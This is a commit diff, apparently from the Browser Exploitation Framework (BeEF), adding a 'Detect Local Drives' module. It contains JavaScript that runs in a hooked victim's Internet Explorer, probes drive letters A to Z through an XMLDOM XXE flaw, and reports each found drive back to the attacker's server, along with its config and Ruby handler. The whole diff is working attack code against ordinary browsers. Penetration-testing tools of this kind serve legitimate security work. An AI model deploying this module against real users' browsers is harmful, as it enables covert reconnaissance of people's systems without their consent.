Add Detect Local Drives module
This commit is contained in:
40
modules/host/detect_local_drives/command.js
Normal file
40
modules/host/detect_local_drives/command.js
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
beef.execute(function() {
|
||||||
|
|
||||||
|
if (!("ActiveXObject" in window)) {
|
||||||
|
beef.debug('[Detect Users] Unspported browser');
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function detect_drive(drive) {
|
||||||
|
var dtd = drive + ':\\';
|
||||||
|
var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';
|
||||||
|
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
|
||||||
|
xmlDoc.async = true;
|
||||||
|
try {
|
||||||
|
xmlDoc.loadXML(xml);
|
||||||
|
return xmlDoc.parseError.errorCode == 0 ? true : false;
|
||||||
|
} catch (e) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Detect drives: A - Z
|
||||||
|
for (var i = 65; i <= 90; i++) {
|
||||||
|
var drive = String.fromCharCode(i);
|
||||||
|
beef.debug('[Detect Local Drives] Checking for drive: ' + drive);
|
||||||
|
var result = detect_drive(drive);
|
||||||
|
if (result) {
|
||||||
|
beef.debug('[Detect Local Drives] Found drive: ' + drive);
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
16
modules/host/detect_local_drives/config.yaml
Normal file
16
modules/host/detect_local_drives/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
beef:
|
||||||
|
module:
|
||||||
|
detect_local_drives:
|
||||||
|
enable: true
|
||||||
|
category: "Host"
|
||||||
|
name: "Detect Local Drives"
|
||||||
|
description: "This module attempts to detect local drives on the user's system using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl)."
|
||||||
|
authors: ["bcoles"]
|
||||||
|
target:
|
||||||
|
working: ["IE"]
|
||||||
|
not_working: ["ALL"]
|
||||||
13
modules/host/detect_local_drives/module.rb
Normal file
13
modules/host/detect_local_drives/module.rb
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
|
||||||
|
class Detect_local_drives < BeEF::Core::Command
|
||||||
|
def post_execute
|
||||||
|
content = {}
|
||||||
|
content['result'] = @datastore['result'] if not @datastore['result'].nil?
|
||||||
|
save content
|
||||||
|
end
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user